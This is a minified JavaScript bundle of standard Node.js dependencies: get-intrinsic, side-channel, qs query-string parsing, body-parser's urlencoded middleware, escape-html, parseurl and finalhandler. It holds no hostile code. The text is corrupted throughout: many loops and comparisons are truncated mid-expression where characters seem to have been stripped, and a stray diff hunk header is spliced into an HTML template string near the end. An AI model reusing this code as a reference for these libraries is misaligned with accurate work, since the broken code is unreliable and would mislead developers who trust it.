Symbol]"||Object.prototype.toString.call(n)!=="[object Symbol]")return!1;var a=42;e[r]=a;for(var s in e)return!1;if(typeof Object.keys=="function"&&Object.keys(e).length!==0||typeof Object.getOwnPropertyNames=="function"&&Object.getOwnPropertyNames(e).length!==0)return!1;var i=Object.getOwnPropertySymbols(e);if(i.length!==1||i[0]!==r||!Object.prototype.propertyIsEnumerable.call(e,r))return!1;if(typeof Object.getOwnPropertyDescriptor=="function"){var o=Object.getOwnPropertyDescriptor(e,r);if(o.value!==a||o.enumerable!==!0)return!1}return!0}});var wy=V((dZ,xy)=>{"use strict";var by=typeof Symbol<"u"&&Symbol,fC=_y();xy.exports=function(){return typeof by!="function"||typeof Symbol!="function"||typeof by("foo")!="symbol"||typeof Symbol("bar")!="symbol"?!1:fC()}});var Yd=V((pZ,Sy)=>{"use strict";Sy.exports=typeof Reflect<"u"&&Reflect.getPrototypeOf||null});var Qd=V((fZ,Ey)=>{"use strict";var mC=Xd();Ey.exports=mC.getPrototypeOf||null});var $y=V((mZ,ky)=>{"use strict";var hC="Function.prototype.bind called on incompatible ",vC=Object.prototype.toString,gC=Math.max,yC="[object Function]",Ty=function(e,r){for(var n=[],a=0;a{"use strict";var xC=$y();Ry.exports=Function.prototype.bind||xC});var gc=V((vZ,Py)=>{"use strict";Py.exports=Function.prototype.call});var ep=V((gZ,Oy)=>{"use strict";Oy.exports=Function.prototype.apply});var Iy=V((yZ,Cy)=>{"use strict";Cy.exports=typeof Reflect<"u"&&Reflect&&Reflect.apply});var Ny=V((_Z,Ay)=>{"use strict";var wC=Li(),SC=ep(),EC=gc(),TC=Iy();Ay.exports=TC||wC.call(EC,SC)});var tp=V((bZ,jy)=>{"use strict";var kC=Li(),$C=nn(),RC=gc(),PC=Ny();jy.exports=function(e){if(e.length<1||typeof e[0]!="function")throw new $C("a function is required");return PC(kC,RC,e)}});var zy=V((xZ,Fy)=>{"use strict";var OC=tp(),My=Jd(),qy;try{qy=[].__proto__===Array.prototype}catch(t){if(!t||typeof t!="object"||!("code"in t)||t.code!=="ERR_PROTO_ACCESS")throw t}var rp=!!qy&&My&&My(Object.prototype,"__proto__"),Ly=Object,Dy=Ly.getPrototypeOf;Fy.exports=rp&&typeof rp.get=="function"?OC([rp.get]):typeof Dy=="function"?function(e){return Dy(e==null?e:Ly(e))}:!1});var Zy=V((wZ,Vy)=>{"use strict";var Uy=Yd(),Hy=Qd(),By=zy();Vy.exports=Uy?function(e){return Uy(e)}:Hy?function(e){if(!e||typeof e!="object"&&typeof e!="function")throw new TypeError("getProto: not an object");return Hy(e)}:By?function(e){return By(e)}:null});var Wy=V((SZ,Gy)=>{"use strict";var CC=Function.prototype.call,IC=Object.prototype.hasOwnProperty,AC=Li();Gy.exports=AC.call(CC,IC)});var bc=V((EZ,e_)=>{"use strict";var Ue,NC=Xd(),jC=Fg(),MC=Ug(),DC=Bg(),qC=Zg(),fs=Wg(),ps=nn(),LC=Xg(),FC=Yg(),zC=ey(),UC=ry(),HC=ny(),BC=iy(),VC=cy(),ZC=py(),Yy=Function,ap=function(t){try{return Yy('"use strict"; return ('+t+").constructor;")()}catch{}},Fi=Jd(),GC=gy(),np=function(){throw new ps},WC=Fi?(function(){try{return arguments.callee,np}catch{try{return Fi(arguments,"callee").get}catch{return np}}})():np,ls=wy()(),Dt=Zy(),KC=Qd(),XC=Yd(),Qy=ep(),zi=gc(),ds={},JC=typeof Uint8Array>"u"||!Dt?Ue:Dt(Uint8Array),on={__proto__:null,"%AggregateError%":typeof AggregateError>"u"?Ue:AggregateError,"%Array%":Array,"%ArrayBuffer%":typeof ArrayBuffer>"u"?Ue:ArrayBuffer,"%ArrayIteratorPrototype%":ls&&Dt?Dt([][Symbol.iterator]()):Ue,"%AsyncFromSyncIteratorPrototype%":Ue,"%AsyncFunction%":ds,"%AsyncGenerator%":ds,"%AsyncGeneratorFunction%":ds,"%AsyncIteratorPrototype%":ds,"%Atomics%":typeof Atomics>"u"?Ue:Atomics,"%BigInt%":typeof BigInt>"u"?Ue:BigInt,"%BigInt64Array%":typeof BigInt64Array>"u"?Ue:BigInt64Array,"%BigUint64Array%":typeof BigUint64Array>"u"?Ue:BigUint64Array,"%Boolean%":Boolean,"%DataView%":typeof DataView>"u"?Ue:DataView,"%Date%":Date,"%decodeURI%":decodeURI,"%decodeURIComponent%":decodeURIComponent,"%encodeURI%":encodeURI,"%encodeURIComponent%":encodeURIComponent,"%Error%":jC,"%eval%":eval,"%EvalError%":MC,"%Float16Array%":typeof Float16Array>"u"?Ue:Float16Array,"%Float32Array%":typeof Float32Array>"u"?Ue:Float32Array,"%Float64Array%":typeof Float64Array>"u"?Ue:Float64Array,"%FinalizationRegistry%":typeof FinalizationRegistry>"u"?Ue:FinalizationRegistry,"%Function%":Yy,"%GeneratorFunction%":ds,"%Int8Array%":typeof Int8Array>"u"?Ue:Int8Array,"%Int16Array%":typeof Int16Array>"u"?Ue:Int16Array,"%Int32Array%":typeof Int32Array>"u"?Ue:Int32Array,"%isFinite%":isFinite,"%isNaN%":isNaN,"%IteratorPrototype%":ls&&Dt?Dt(Dt([][Symbol.iterator]())):Ue,"%JSON%":typeof JSON=="object"?JSON:Ue,"%Map%":typeof Map>"u"?Ue:Map,"%MapIteratorPrototype%":typeof Map>"u"||!ls||!Dt?Ue:Dt(new Map()[Symbol.iterator]()),"%Math%":Math,"%Number%":Number,"%Object%":NC,"%Object.getOwnPropertyDescriptor%":Fi,"%parseFloat%":parseFloat,"%parseInt%":parseInt,"%Promise%":typeof Promise>"u"?Ue:Promise,"%Proxy%":typeof Proxy>"u"?Ue:Proxy,"%RangeError%":DC,"%ReferenceError%":qC,"%Reflect%":typeof Reflect>"u"?Ue:Reflect,"%RegExp%":RegExp,"%Set%":typeof Set>"u"?Ue:Set,"%SetIteratorPrototype%":typeof Set>"u"||!ls||!Dt?Ue:Dt(new Set()[Symbol.iterator]()),"%SharedArrayBuffer%":typeof SharedArrayBuffer>"u"?Ue:SharedArrayBuffer,"%String%":String,"%StringIteratorPrototype%":ls&&Dt?Dt(""[Symbol.iterator]()):Ue,"%Symbol%":ls?Symbol:Ue,"%SyntaxError%":fs,"%ThrowTypeError%":WC,"%TypedArray%":JC,"%TypeError%":ps,"%Uint8Array%":typeof Uint8Array>"u"?Ue:Uint8Array,"%Uint8ClampedArray%":typeof Uint8ClampedArray>"u"?Ue:Uint8ClampedArray,"%Uint16Array%":typeof Uint16Array>"u"?Ue:Uint16Array,"%Uint32Array%":typeof Uint32Array>"u"?Ue:Uint32Array,"%URIError%":LC,"%WeakMap%":typeof WeakMap>"u"?Ue:WeakMap,"%WeakRef%":typeof WeakRef>"u"?Ue:WeakRef,"%WeakSet%":typeof WeakSet>"u"?Ue:WeakSet,"%Function.prototype.call%":zi,"%Function.prototype.apply%":Qy,"%Object.defineProperty%":GC,"%Object.getPrototypeOf%":KC,"%Math.abs%":FC,"%Math.floor%":zC,"%Math.max%":UC,"%Math.min%":HC,"%Math.pow%":BC,"%Math.round%":VC,"%Math.sign%":ZC,"%Reflect.getPrototypeOf%":XC};if(Dt)try{null.error}catch(t){Ky=Dt(Dt(t)),on["%Error.prototype%"]=Ky}var Ky,YC=function t(e){var r;if(e==="%AsyncFunction%")r=ap("async function () {}");else if(e==="%GeneratorFunction%")r=ap("function* () {}");else if(e==="%AsyncGeneratorFunction%")r=ap("async function* () {}");else if(e==="%AsyncGenerator%"){var n=t("%AsyncGeneratorFunction%");n&&(r=n.prototype)}else if(e==="%AsyncIteratorPrototype%"){var a=t("%AsyncGenerator%");a&&Dt&&(r=Dt(a.prototype))}return on[e]=r,r},Xy={__proto__:null,"%ArrayBufferPrototype%":["ArrayBuffer","prototype"],"%ArrayPrototype%":["Array","prototype"],"%ArrayProto_entries%":["Array","prototype","entries"],"%ArrayProto_forEach%":["Array","prototype","forEach"],"%ArrayProto_keys%":["Array","prototype","keys"],"%ArrayProto_values%":["Array","prototype","values"],"%AsyncFunctionPrototype%":["AsyncFunction","prototype"],"%AsyncGenerator%":["AsyncGeneratorFunction","prototype"],"%AsyncGeneratorPrototype%":["AsyncGeneratorFunction","prototype","prototype"],"%BooleanPrototype%":["Boolean","prototype"],"%DataViewPrototype%":["DataView","prototype"],"%DatePrototype%":["Date","prototype"],"%ErrorPrototype%":["Error","prototype"],"%EvalErrorPrototype%":["EvalError","prototype"],"%Float32ArrayPrototype%":["Float32Array","prototype"],"%Float64ArrayPrototype%":["Float64Array","prototype"],"%FunctionPrototype%":["Function","prototype"],"%Generator%":["GeneratorFunction","prototype"],"%GeneratorPrototype%":["GeneratorFunction","prototype","prototype"],"%Int8ArrayPrototype%":["Int8Array","prototype"],"%Int16ArrayPrototype%":["Int16Array","prototype"],"%Int32ArrayPrototype%":["Int32Array","prototype"],"%JSONParse%":["JSON","parse"],"%JSONStringify%":["JSON","stringify"],"%MapPrototype%":["Map","prototype"],"%NumberPrototype%":["Number","prototype"],"%ObjectPrototype%":["Object","prototype"],"%ObjProto_toString%":["Object","prototype","toString"],"%ObjProto_valueOf%":["Object","prototype","valueOf"],"%PromisePrototype%":["Promise","prototype"],"%PromiseProto_then%":["Promise","prototype","then"],"%Promise_all%":["Promise","all"],"%Promise_reject%":["Promise","reject"],"%Promise_resolve%":["Promise","resolve"],"%RangeErrorPrototype%":["RangeError","prototype"],"%ReferenceErrorPrototype%":["ReferenceError","prototype"],"%RegExpPrototype%":["RegExp","prototype"],"%SetPrototype%":["Set","prototype"],"%SharedArrayBufferPrototype%":["SharedArrayBuffer","prototype"],"%StringPrototype%":["String","prototype"],"%SymbolPrototype%":["Symbol","prototype"],"%SyntaxErrorPrototype%":["SyntaxError","prototype"],"%TypedArrayPrototype%":["TypedArray","prototype"],"%TypeErrorPrototype%":["TypeError","prototype"],"%Uint8ArrayPrototype%":["Uint8Array","prototype"],"%Uint8ClampedArrayPrototype%":["Uint8ClampedArray","prototype"],"%Uint16ArrayPrototype%":["Uint16Array","prototype"],"%Uint32ArrayPrototype%":["Uint32Array","prototype"],"%URIErrorPrototype%":["URIError","prototype"],"%WeakMapPrototype%":["WeakMap","prototype"],"%WeakSetPrototype%":["WeakSet","prototype"]},Ui=Li(),yc=Wy(),QC=Ui.call(zi,Array.prototype.concat),eI=Ui.call(Qy,Array.prototype.splice),Jy=Ui.call(zi,String.prototype.replace),_c=Ui.call(zi,String.prototype.slice),tI=Ui.call(zi,RegExp.prototype.exec),rI=/[^%.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|%$))/g,aI=/\\(\\)?/g,nI=function(e){var r=_c(e,0,1),n=_c(e,-1);if(r==="%"&&n!=="%")throw new fs("invalid intrinsic syntax, expected closing `%`");if(n==="%"&&r!=="%")throw new fs("invalid intrinsic syntax, expected opening `%`");var a=[];return Jy(e,rI,function(s,i,o,c){a[a.length]=o?Jy(c,aI,"$1"):i||s}),a},sI=function(e,r){var n=e,a;if(yc(Xy,n)&&(a=Xy[n],n="%"+a[0]+"%"),yc(on,n)){var s=on[n];if(s===ds&&(s=YC(n)),typeof s>"u"&&!r)throw new ps("intrinsic "+e+" exists, but is not available. Please file an issue!");return{alias:a,name:n,value:s}}throw new fs("intrinsic "+e+" does not exist!")};e_.exports=function(e,r){if(typeof e!="string"||e.length===0)throw new ps("intrinsic name must be a non-empty string");if(arguments.length>1&&typeof r!="boolean")throw new ps('"allowMissing" argument must be a boolean');if(tI(/^%?[^%]*%?$/,e)===null)throw new fs("`%` may not be present anywhere but at the beginning and end of the intrinsic name");var n=nI(e),a=n.length>0?n[0]:"",s=sI("%"+a+"%",r),i=s.name,o=s.value,c=!1,u=s.alias;u&&(a=u[0],eI(n,QC([0,1],u)));for(var l=1,d=!0;l=n.length){var b=Fi(o,f);d=!!b,d&&"get"in b&&!("originalValue"in b.get)?o=b.get:o=o[f]}else d=yc(o,f),o=o[f];d&&!c&&(on[i]=o)}}return o}});var sp=V((TZ,a_)=>{"use strict";var t_=bc(),r_=tp(),iI=r_([t_("%String.prototype.indexOf%")]);a_.exports=function(e,r){var n=t_(e,!!r);return typeof n=="function"&&iI(e,".prototype.")>-1?r_([n]):n}});var ip=V((kZ,s_)=>{"use strict";var oI=bc(),Hi=sp(),cI=qi(),uI=nn(),n_=oI("%Map%",!0),lI=Hi("Map.prototype.get",!0),dI=Hi("Map.prototype.set",!0),pI=Hi("Map.prototype.has",!0),fI=Hi("Map.prototype.delete",!0),mI=Hi("Map.prototype.size",!0);s_.exports=!!n_&&function(){var e,r={assert:function(n){if(!r.has(n))throw new uI("Side channel does not contain "+cI(n))},delete:function(n){if(e){var a=fI(e,n);return mI(e)===0&&(e=void 0),a}return!1},get:function(n){if(e)return lI(e,n)},has:function(n){return e?pI(e,n):!1},set:function(n,a){e||(e=new n_),dI(e,n,a)}};return r}});var o_=V(($Z,i_)=>{"use strict";var hI=bc(),wc=sp(),vI=qi(),xc=ip(),gI=nn(),ms=hI("%WeakMap%",!0),yI=wc("WeakMap.prototype.get",!0),_I=wc("WeakMap.prototype.set",!0),bI=wc("WeakMap.prototype.has",!0),xI=wc("WeakMap.prototype.delete",!0);i_.exports=ms?function(){var e,r,n={assert:function(a){if(!n.has(a))throw new gI("Side channel does not contain "+vI(a))},delete:function(a){if(ms&&a&&(typeof a=="object"||typeof a=="function")){if(e)return xI(e,a)}else if(xc&&r)return r.delete(a);return!1},get:function(a){return ms&&a&&(typeof a=="object"||typeof a=="function")&&e?yI(e,a):r&&r.get(a)},has:function(a){return ms&&a&&(typeof a=="object"||typeof a=="function")&&e?bI(e,a):!!r&&r.has(a)},set:function(a,s){ms&&a&&(typeof a=="object"||typeof a=="function")?(e||(e=new ms),_I(e,a,s)):xc&&(r||(r=xc()),r.set(a,s))}};return n}:xc});var u_=V((RZ,c_)=>{"use strict";var wI=nn(),SI=qi(),EI=Dg(),TI=ip(),kI=o_(),$I=kI||TI||EI;c_.exports=function(){var e,r={assert:function(n){if(!r.has(n))throw new wI("Side channel does not contain "+SI(n))},delete:function(n){return!!e&&e.delete(n)},get:function(n){return e&&e.get(n)},has:function(n){return!!e&&e.has(n)},set:function(n,a){e||(e=$I()),e.set(n,a)}};return r}});var Sc=V((PZ,l_)=>{"use strict";var RI=String.prototype.replace,PI=/%20/g,op={RFC1738:"RFC1738",RFC3986:"RFC3986"};l_.exports={default:op.RFC3986,formatters:{RFC1738:function(t){return RI.call(t,PI,"+")},RFC3986:function(t){return String(t)}},RFC1738:op.RFC1738,RFC3986:op.RFC3986}});var lp=V((OZ,p_)=>{"use strict";var OI=Sc(),cp=Object.prototype.hasOwnProperty,cn=Array.isArray,Kr=(function(){for(var t=[],e=0;e<256;++e)t.push("%"+((e<16?"0":"")+e.toString(16)).toUpperCase());return t})(),CI=function(e){for(;e.length>1;){var r=e.pop(),n=r.obj[r.prop];if(cn(n)){for(var a=[],s=0;s=up?i.slice(c,c+up):i,l=[],d=0;d=48&&f<=57||f>=65&&f<=90||f>=97&&f<=122||s===OI.RFC1738&&(f===40||f===41)){l[l.length]=u.charAt(d);continue}if(f<128){l[l.length]=Kr[f];continue}if(f<2048){l[l.length]=Kr[192|f>>6]+Kr[128|f&63];continue}if(f<55296||f>=57344){l[l.length]=Kr[224|f>>12]+Kr[128|f>>6&63]+Kr[128|f&63];continue}d+=1,f=65536+((f&1023)<<10|u.charCodeAt(d)&1023),l[l.length]=Kr[240|f>>18]+Kr[128|f>>12&63]+Kr[128|f>>6&63]+Kr[128|f&63]}o+=l.join("")}return o},MI=function(e){for(var r=[{obj:{o:e},prop:"o"}],n=[],a=0;a{"use strict";var m_=u_(),Ec=lp(),Bi=Sc(),zI=Object.prototype.hasOwnProperty,h_={brackets:function(e){return e+"[]"},comma:"comma",indices:function(e,r){return e+"["+r+"]"},repeat:function(e){return e}},Xr=Array.isArray,UI=Array.prototype.push,v_=function(t,e){UI.apply(t,Xr(e)?e:[e])},HI=Date.prototype.toISOString,f_=Bi.default,At={addQueryPrefix:!1,allowDots:!1,allowEmptyArrays:!1,arrayFormat:"indices",charset:"utf-8",charsetSentinel:!1,delimiter:"&",encode:!0,encodeDotInKeys:!1,encoder:Ec.encode,encodeValuesOnly:!1,format:f_,formatter:Bi.formatters[f_],indices:!1,serializeDate:function(e){return HI.call(e)},skipNulls:!1,strictNullHandling:!1},BI=function(e){return typeof e=="string"||typeof e=="number"||typeof e=="boolean"||typeof e=="symbol"||typeof e=="bigint"},dp={},VI=function t(e,r,n,a,s,i,o,c,u,l,d,f,m,g,b,p,h,y){for(var v=e,_=y,S=0,x=!1;(_=_.get(dp))!==void 0&&!x;){var E=_.get(e);if(S+=1,typeof E<"u"){if(E===S)throw new RangeError("Cyclic object value");x=!0}typeof _.get(dp)>"u"&&(S=0)}if(typeof l=="function"?v=l(r,v):v instanceof Date?v=m(v):n==="comma"&&Xr(v)&&(v=Ec.maybeMap(v,function(F){return F instanceof Date?m(F):F})),v===null){if(i)return u&&!p?u(r,At.encoder,h,"key",g):r;v=""}if(BI(v)||Ec.isBuffer(v)){if(u){var T=p?r:u(r,At.encoder,h,"key",g);return[b(T)+"="+b(u(v,At.encoder,h,"value",g))]}return[b(r)+"="+b(String(v))]}var $=[];if(typeof v>"u")return $;var N;if(n==="comma"&&Xr(v))p&&u&&(v=Ec.maybeMap(v,u)),N=[{value:v.length>0?v.join(",")||null:void 0}];else if(Xr(l))N=l;else{var j=Object.keys(v);N=d?j.sort(d):j}var q=c?r.replace(/\./g,"%2E"):r,H=a&&Xr(v)&&v.length===1?q+"[]":q;if(s&&Xr(v)&&v.length===0)return H+"[]";for(var A=0;A"u"?e.encodeDotInKeys===!0?!0:At.allowDots:!!e.allowDots;return{addQueryPrefix:typeof e.addQueryPrefix=="boolean"?e.addQueryPrefix:At.addQueryPrefix,allowDots:o,allowEmptyArrays:typeof e.allowEmptyArrays=="boolean"?!!e.allowEmptyArrays:At.allowEmptyArrays,arrayFormat:i,charset:r,charsetSentinel:typeof e.charsetSentinel=="boolean"?e.charsetSentinel:At.charsetSentinel,commaRoundTrip:e.commaRoundTrip,delimiter:typeof e.delimiter>"u"?At.delimiter:e.delimiter,encode:typeof e.encode=="boolean"?e.encode:At.encode,encodeDotInKeys:typeof e.encodeDotInKeys=="boolean"?e.encodeDotInKeys:At.encodeDotInKeys,encoder:typeof e.encoder=="function"?e.encoder:At.encoder,encodeValuesOnly:typeof e.encodeValuesOnly=="boolean"?e.encodeValuesOnly:At.encodeValuesOnly,filter:s,format:n,formatter:a,serializeDate:typeof e.serializeDate=="function"?e.serializeDate:At.serializeDate,skipNulls:typeof e.skipNulls=="boolean"?e.skipNulls:At.skipNulls,sort:typeof e.sort=="function"?e.sort:null,strictNullHandling:typeof e.strictNullHandling=="boolean"?e.strictNullHandling:At.strictNullHandling}};g_.exports=function(t,e){var r=t,n=ZI(e),a,s;typeof n.filter=="function"?(s=n.filter,r=s("",r)):Xr(n.filter)&&(s=n.filter,a=s);var i=[];if(typeof r!="object"||r===null)return"";var o=h_[n.arrayFormat],c=o==="comma"&&n.commaRoundTrip;a||(a=Object.keys(r)),n.sort&&a.sort(n.sort);for(var u=m_(),l=0;l0?m+f:""}});var x_=V((IZ,b_)=>{"use strict";var hs=lp(),pp=Object.prototype.hasOwnProperty,GI=Array.isArray,St={allowDots:!1,allowEmptyArrays:!1,allowPrototypes:!1,allowSparse:!1,arrayLimit:20,charset:"utf-8",charsetSentinel:!1,comma:!1,decodeDotInKeys:!1,decoder:hs.decode,delimiter:"&",depth:5,duplicates:"combine",ignoreQueryPrefix:!1,interpretNumericEntities:!1,parameterLimit:1e3,parseArrays:!0,plainObjects:!1,strictDepth:!1,strictNullHandling:!1},WI=function(t){return t.replace(/&#(\d+);/g,function(e,r){return String.fromCharCode(parseInt(r,10))})},__=function(t,e){return t&&typeof t=="string"&&e.comma&&t.indexOf(",")>-1?t.split(","):t},KI="utf8=%26%2310003%3B",XI="utf8=%E2%9C%93",JI=function(e,r){var n={__proto__:null},a=r.ignoreQueryPrefix?e.replace(/^\?/,""):e;a=a.replace(/%5B/gi,"[").replace(/%5D/gi,"]");var s=r.parameterLimit===1/0?void 0:r.parameterLimit,i=a.split(r.delimiter,s),o=-1,c,u=r.charset;if(r.charsetSentinel)for(c=0;c-1&&(g=GI(g)?[g]:g);var b=pp.call(n,m);b&&r.duplicates==="combine"?n[m]=hs.combine(n[m],g):(!b||r.duplicates==="last")&&(n[m]=g)}return n},YI=function(t,e,r,n){for(var a=n?e:__(e,r),s=t.length-1;s>=0;--s){var i,o=t[s];if(o==="[]"&&r.parseArrays)i=r.allowEmptyArrays&&(a===""||r.strictNullHandling&&a===null)?[]:[].concat(a);else{i=r.plainObjects?Object.create(null):{};var c=o.charAt(0)==="["&&o.charAt(o.length-1)==="]"?o.slice(1,-1):o,u=r.decodeDotInKeys?c.replace(/%2E/g,"."):c,l=parseInt(u,10);!r.parseArrays&&u===""?i={0:a}:!isNaN(l)&&o!==u&&String(l)===u&&l>=0&&r.parseArrays&&l<=r.arrayLimit?(i=[],i[l]=a):u!=="__proto__"&&(i[u]=a)}a=i}return a},QI=function(e,r,n,a){if(e){var s=n.allowDots?e.replace(/\.([^.[]+)/g,"[$1]"):e,i=/(\[[^[\]]*])/,o=/(\[[^[\]]*])/g,c=n.depth>0&&i.exec(s),u=c?s.slice(0,c.index):s,l=[];if(u){if(!n.plainObjects&&pp.call(Object.prototype,u)&&!n.allowPrototypes)return;l.push(u)}for(var d=0;n.depth>0&&(c=o.exec(s))!==null&&d"u"?St.charset:e.charset,n=typeof e.duplicates>"u"?St.duplicates:e.duplicates;if(n!=="combine"&&n!=="first"&&n!=="last")throw new TypeError("The duplicates option must be either combine, first, or last");var a=typeof e.allowDots>"u"?e.decodeDotInKeys===!0?!0:St.allowDots:!!e.allowDots;return{allowDots:a,allowEmptyArrays:typeof e.allowEmptyArrays=="boolean"?!!e.allowEmptyArrays:St.allowEmptyArrays,allowPrototypes:typeof e.allowPrototypes=="boolean"?e.allowPrototypes:St.allowPrototypes,allowSparse:typeof e.allowSparse=="boolean"?e.allowSparse:St.allowSparse,arrayLimit:typeof e.arrayLimit=="number"?e.arrayLimit:St.arrayLimit,charset:r,charsetSentinel:typeof e.charsetSentinel=="boolean"?e.charsetSentinel:St.charsetSentinel,comma:typeof e.comma=="boolean"?e.comma:St.comma,decodeDotInKeys:typeof e.decodeDotInKeys=="boolean"?e.decodeDotInKeys:St.decodeDotInKeys,decoder:typeof e.decoder=="function"?e.decoder:St.decoder,delimiter:typeof e.delimiter=="string"||hs.isRegExp(e.delimiter)?e.delimiter:St.delimiter,depth:typeof e.depth=="number"||e.depth===!1?+e.depth:St.depth,duplicates:n,ignoreQueryPrefix:e.ignoreQueryPrefix===!0,interpretNumericEntities:typeof e.interpretNumericEntities=="boolean"?e.interpretNumericEntities:St.interpretNumericEntities,parameterLimit:typeof e.parameterLimit=="number"?e.parameterLimit:St.parameterLimit,parseArrays:e.parseArrays!==!1,plainObjects:typeof e.plainObjects=="boolean"?e.plainObjects:St.plainObjects,strictDepth:typeof e.strictDepth=="boolean"?!!e.strictDepth:St.strictDepth,strictNullHandling:typeof e.strictNullHandling=="boolean"?e.strictNullHandling:St.strictNullHandling}};b_.exports=function(t,e){var r=eA(e);if(t===""||t===null||typeof t>"u")return r.plainObjects?Object.create(null):{};for(var n=typeof t=="string"?JI(t,r):t,a=r.plainObjects?Object.create(null):{},s=Object.keys(n),i=0;i{"use strict";var tA=y_(),rA=x_(),aA=Sc();w_.exports={formats:aA,parse:rA,stringify:tA}});var R_=V((NZ,$_)=>{"use strict";var nA=Qn(),sA=_i(),kc=Ya(),Nr=vr()("body-parser:urlencoded"),iA=Vr()("body-parser"),oA=Ci(),E_=cs();$_.exports=cA;var S_=Object.create(null);function cA(t){var e=t||{};e.extended===void 0&&iA("undefined extended: provide extended option");var r=e.extended!==!1,n=e.inflate!==!1,a=typeof e.limit!="number"?nA.parse(e.limit||"100kb"):e.limit,s=e.type||"application/x-www-form-urlencoded",i=e.verify||!1,o=typeof e.depth!="number"?Number(e.depth||32):e.depth;if(i!==!1&&typeof i!="function")throw new TypeError("option verify must be function");var c=r?uA(e):dA(e),u=typeof s!="function"?pA(s):s;function l(d){return d.length?c(d):{}}return function(f,m,g){if(f._body){Nr("body already parsed"),g();return}if(f.body=f.body||{},!E_.hasBody(f)){Nr("skip empty body"),g();return}if(Nr("content-type %j",f.headers["content-type"]),!u(f)){Nr("skip parsing"),g();return}var b=lA(f)||"utf-8";if(b!=="utf-8"){Nr("invalid charset"),g(kc(415,'unsupported charset "'+b.toUpperCase()+'"',{charset:b,type:"charset.unsupported"}));return}oA(f,m,g,l,Nr,{debug:Nr,encoding:b,inflate:n,limit:a,verify:i,depth:o})}}function uA(t){var e=t.parameterLimit!==void 0?t.parameterLimit:1e3,r=typeof t.depth!="number"?Number(t.depth||32):t.depth,n=k_("qs");if(isNaN(e)||e<1)throw new TypeError("option parameterLimit must be a positive number");if(isNaN(r)||r<0)throw new TypeError("option depth must be a zero or a positive number");return isFinite(e)&&(e=e|0),function(s){var i=T_(s,e);if(i===void 0)throw Nr("too many parameters"),kc(413,"too many parameters",{type:"parameters.too.many"});var o=Math.max(100,i);Nr("parse extended urlencoding");try{return n(s,{allowPrototypes:!0,arrayLimit:o,depth:r,strictDepth:!0,parameterLimit:e})}catch(c){throw c instanceof RangeError?kc(400,"The input exceeded the depth",{type:"querystring.parse.rangeError"}):c}}}function lA(t){try{return(sA.parse(t).parameters.charset||"").toLowerCase()}catch{return}}function T_(t,e){for(var r=0,n=0;(n=t.indexOf("&",n))!==-1;)if(r++,n++,r===e)return;return r}function k_(t){var e=S_[t];if(e!==void 0)return e.parse;switch(t){case"qs":e=Tc();break;case"querystring":e=require("querystring");break}return S_[t]=e,e.parse}function dA(t){var e=t.parameterLimit!==void 0?t.parameterLimit:1e3,r=k_("querystring");if(isNaN(e)||e<1)throw new TypeError("option parameterLimit must be a positive number");return isFinite(e)&&(e=e|0),function(a){var s=T_(a,e);if(s===void 0)throw Nr("too many parameters"),kc(413,"too many parameters",{type:"parameters.too.many"});return Nr("parse urlencoding"),r(a,void 0,void 0,{maxKeys:e})}}function pA(t){return function(r){return!!E_(r,t)}}});var C_=V((Pa,O_)=>{"use strict";var fA=Vr()("body-parser"),P_=Object.create(null);Pa=O_.exports=fA.function(mA,"bodyParser: use individual json/urlencoded middlewares");Object.defineProperty(Pa,"json",{configurable:!0,enumerable:!0,get:$c("json")});Object.defineProperty(Pa,"raw",{configurable:!0,enumerable:!0,get:$c("raw")});Object.defineProperty(Pa,"text",{configurable:!0,enumerable:!0,get:$c("text")});Object.defineProperty(Pa,"urlencoded",{configurable:!0,enumerable:!0,get:$c("urlencoded")});function mA(t){var e=Object.create(t||null,{type:{configurable:!0,enumerable:!0,value:void 0,writable:!0}}),r=Pa.urlencoded(e),n=Pa.json(e);return function(s,i,o){n(s,i,function(c){if(c)return o(c);r(s,i,o)})}}function $c(t){return function(){return hA(t)}}function hA(t){var e=P_[t];if(e!==void 0)return e;switch(t){case"json":e=ig();break;case"raw":e=ug();break;case"text":e=pg();break;case"urlencoded":e=R_();break}return P_[t]=e}});var A_=V((jZ,I_)=>{"use strict";I_.exports=gA;var vA=Object.prototype.hasOwnProperty;function gA(t,e,r){if(!t)throw new TypeError("argument dest is required");if(!e)throw new TypeError("argument src is required");return r===void 0&&(r=!0),Object.getOwnPropertyNames(e).forEach(function(a){if(!(!r&&vA.call(t,a))){var s=Object.getOwnPropertyDescriptor(e,a);Object.defineProperty(t,a,s)}}),t}});var Rc=V((MZ,N_)=>{"use strict";N_.exports=xA;var yA=/(?:[^\x21\x23-\x3B\x3D\x3F-\x5F\x61-\x7A\x7C\x7E]|%(?:[^0-9A-Fa-f]|[0-9A-Fa-f][^0-9A-Fa-f]|$))+/g,_A=/(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g,bA="$1\uFFFD$2";function xA(t){return String(t).replace(_A,bA).replace(yA,encodeURI)}});var Vi=V((DZ,j_)=>{"use strict";var wA=/["'&<>]/;j_.exports=SA;function SA(t){var e=""+t,r=wA.exec(e);if(!r)return e;var n,a="",s=0,i=0;for(s=r.index;s{"use strict";var D_=require("url"),M_=D_.parse,Pc=D_.Url;fp.exports=q_;fp.exports.original=EA;function q_(t){var e=t.url;if(e!==void 0){var r=t._parsedUrl;return F_(e,r)?r:(r=L_(e),r._raw=e,t._parsedUrl=r)}}function EA(t){var e=t.originalUrl;if(typeof e!="string")return q_(t);var r=t._parsedOriginalUrl;return F_(e,r)?r:(r=L_(e),r._raw=e,t._parsedOriginalUrl=r)}function L_(t){if(typeof t!="string"||t.charCodeAt(0)!==47)return M_(t);for(var e=t,r=null,n=null,a=1;a{"use strict";var mp=vr()("finalhandler"),TA=Rc(),kA=Vi(),U_=Oi(),$A=vs(),H_=xi(),RA=uc(),PA=/\x20{2}/g,OA=/\n/g,CA=typeof setImmediate=="function"?setImmediate:function(t){process.nextTick(t.bind.apply(t,arguments))},IA=U_.isFinished;function AA(t){var e=kA(t).replace(OA,"
").replace(PA,"  ");return` @@ -28,7 +28,7 @@ return fn.apply(this, arguments)
`+e+`
